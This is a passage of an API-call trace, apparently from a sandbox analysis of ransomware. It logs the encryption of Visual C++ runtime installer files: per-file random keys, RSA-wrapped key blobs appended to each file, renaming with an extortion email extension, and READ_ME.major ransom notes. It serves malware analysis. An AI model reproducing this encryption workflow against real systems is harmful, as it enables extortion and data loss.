(lpExistingFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0170.911] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0170.911] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab", dwFileAttributes=0x80) returned 1 [0170.911] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d0 [0170.912] GetFileSizeEx (in: hFile=0x7d0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=997054) returned 1 [0170.912] ReadFile (in: hFile=0x7d0, lpBuffer=0x670020, nNumberOfBytesToRead=0xf36be, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x670020*, lpNumberOfBytesRead=0x2e3f9b4*=0xf36be, lpOverlapped=0x0) returned 1 [0171.172] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=-997054, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.172] WriteFile (in: hFile=0x7d0, lpBuffer=0x314f020*, nNumberOfBytesToWrite=0xf36be, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x314f020*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf36be, lpOverlapped=0x0) returned 1 [0171.175] SetFilePointer (in: hFile=0x7d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf36be [0171.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.175] WriteFile (in: hFile=0x7d0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0171.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0171.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0171.175] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5e90, pcchString=0x2e3f9a8 | out: pszString="7uPA1UhRh5BU6yTf1Fhg0BLMU9Nnr4EVTW3tfI4mSfstV/cgTbssVBagUOMP4rRf\n04bZjAA1zIn+OARCbq8aFYwPUMbLkU7AEc/74rKtDzeUqmE3GKRHp1diyhpoBuRk\ntCEZymq5OxhbRnIfBnZ085wTLSgsnSj8NbQ0tOr9zNRn+6l8f0qxX31WgZAChidb\nwAAOT2q6dzHYyfefjul9P6dFnOy0OrkYfwRo0PkKFExkkzvUibSSttx6/J8Kt1OY\n4W9/sYBbPfQ03tLhRL3fXj2GvgLqJwFsWDHjunMSve+HBMk+JPxl+PZNK30sY16l\noJ8lgBIUHlxYR/aH/F+pKQ==\n", pcchString=0x2e3f9a8) returned 1 [0171.176] WriteFile (in: hFile=0x7d0, lpBuffer=0x5b5e90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5e90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0171.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.176] WriteFile (in: hFile=0x7d0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.176] CloseHandle (hObject=0x7d0) returned 1 [0171.176] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0171.266] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a4b466, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6539e0 [0171.266] SetLastError (dwErrCode=0x0) [0171.266] GetLastError () returned 0x0 [0171.266] SetLastError (dwErrCode=0x0) [0171.266] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] FindNextFileW (in: hFindFile=0x6539e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a4b466, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] FindNextFileW (in: hFindFile=0x6539e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] FindNextFileW (in: hFindFile=0x6539e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a4b466, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21a4b466, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21a716a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] GetLastError () returned 0x0 [0171.267] SetLastError (dwErrCode=0x0) [0171.267] FindNextFileW (in: hFindFile=0x6539e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0171.268] SetLastError (dwErrCode=0x0) [0171.268] GetLastError () returned 0x0 [0171.268] SetLastError (dwErrCode=0x0) [0171.268] GetLastError () returned 0x0 [0171.268] SetLastError (dwErrCode=0x0) [0171.268] FindNextFileW (in: hFindFile=0x6539e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0171.268] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0171.268] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", dwFileAttributes=0x80) returned 1 [0171.269] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d4 [0171.269] GetFileSizeEx (in: hFile=0x7d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=151552) returned 1 [0171.269] ReadFile (in: hFile=0x7d4, lpBuffer=0x2f60858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60858*, lpNumberOfBytesRead=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0171.329] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.329] WriteFile (in: hFile=0x7d4, lpBuffer=0x2ea0f38*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0f38*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25000, lpOverlapped=0x0) returned 1 [0171.330] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25000 [0171.330] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.330] WriteFile (in: hFile=0x7d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.330] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0171.330] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0171.331] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0171.331] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="K6ayFX4ll/k3BrVpnoLVXn3hQ3shLbcCGW231ktM3IP5peTXgb2PXF4q2n9H4TjP\nQIFTMybRcoz2c5nAXVJOtih2aD3lkYSVg42pharwaETO4EshUGeJ/9v1bi7aCdME\nHmkKRDkMyGMf2ecuimiAR5uNhlOj3vZbchDixr2GAOyo+9ICVhLhysf6zufNQWvJ\neQUtYAP/JruU4G1jGXOBFNh4tFP++d312UFQ2CfZOTkj+ew/Jd/bdWZOLwqBrMAo\nkPCRAJKlQl9gtvOn1yJ9kG7MjdAycwOp/cZy4qbj9xWX/1HlCAndfDDzYftM06R9\nzcLLE1uLXmDAmWsbEL+gpg==\n", pcchString=0x2e3f9a8) returned 1 [0171.331] WriteFile (in: hFile=0x7d4, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0171.332] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.332] WriteFile (in: hFile=0x7d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.332] CloseHandle (hObject=0x7d4) returned 1 [0171.332] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0171.334] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0171.334] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0171.334] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d4 [0171.335] GetFileSizeEx (in: hFile=0x7d4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5800228) returned 1 [0171.335] ReadFile (in: hFile=0x7d4, lpBuffer=0x3140020, nNumberOfBytesToRead=0x588124, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3140020*, lpNumberOfBytesRead=0x2e3f9b4*=0x588124, lpOverlapped=0x0) returned 1 [0171.694] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=-5800228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.695] WriteFile (in: hFile=0x7d4, lpBuffer=0x36d3020*, nNumberOfBytesToWrite=0x588124, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x36d3020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x588124, lpOverlapped=0x0) returned 1 [0171.765] SetFilePointer (in: hFile=0x7d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x588124 [0171.765] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.765] WriteFile (in: hFile=0x7d4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.766] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0171.766] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0171.766] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0171.766] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x58e898, pcchString=0x2e3f9a8 | out: pszString="8GdRUo6Pvl8pX9ek5dI9FnCcTVV84zvF6cRH6+pU23nvAB0XpcVq+R1zrWKD41KD\nE/DCdPg0rjC6BceauTNiEGLKoWD5u/gUxqUUawVnXEB5mwerHzGF+aMnJsH2ZdrG\nxOk2CVfD3yVMze7u1+SvlLoAYaOKupv53OWFHHLQ8ysFTdwUc9AhOuskK78JY+Qt\nDbNKbpoDbRser15g1eBWSx6TpP6jIdcCZhRuDaM+hyYPHS27znm10EeSFvsV8ix0\nNpJ6a78AYrcmUoz+3o/onKT8pPFewslvLXMQafWU2DC1px/eG3n5almhtB60XhtO\nvCTB4KxAmgKZh1YAVnuYbA==\n", pcchString=0x2e3f9a8) returned 1 [0171.766] WriteFile (in: hFile=0x7d4, lpBuffer=0x58e898*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x58e898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0171.766] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0171.766] WriteFile (in: hFile=0x7d4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0171.766] CloseHandle (hObject=0x7d4) returned 1 [0171.766] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0171.768] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a716a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653c20 [0171.768] SetLastError (dwErrCode=0x0) [0171.768] GetLastError () returned 0x0 [0171.768] SetLastError (dwErrCode=0x0) [0171.768] GetLastError () returned 0x0 [0171.768] SetLastError (dwErrCode=0x0) [0171.768] FindNextFileW (in: hFindFile=0x653c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21a716a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0171.768] SetLastError (dwErrCode=0x0) [0171.768] GetLastError () returned 0x0 [0171.768] SetLastError (dwErrCode=0x0) [0171.768] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] FindNextFileW (in: hFindFile=0x653c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf81cb00, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xdf81cb00, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xdf81cb00, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x13babb, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] FindNextFileW (in: hFindFile=0x653c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21a716a3, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x21a716a3, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x21a716a3, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] FindNextFileW (in: hFindFile=0x653c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] GetLastError () returned 0x0 [0171.769] SetLastError (dwErrCode=0x0) [0171.769] FindNextFileW (in: hFindFile=0x653c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93af200, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x93af200, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x93af200, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0171.769] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0171.769] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", dwFileAttributes=0x80) returned 1 [0171.770] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7d8 [0171.770] GetFileSizeEx (in: hFile=0x7d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=147456) returned 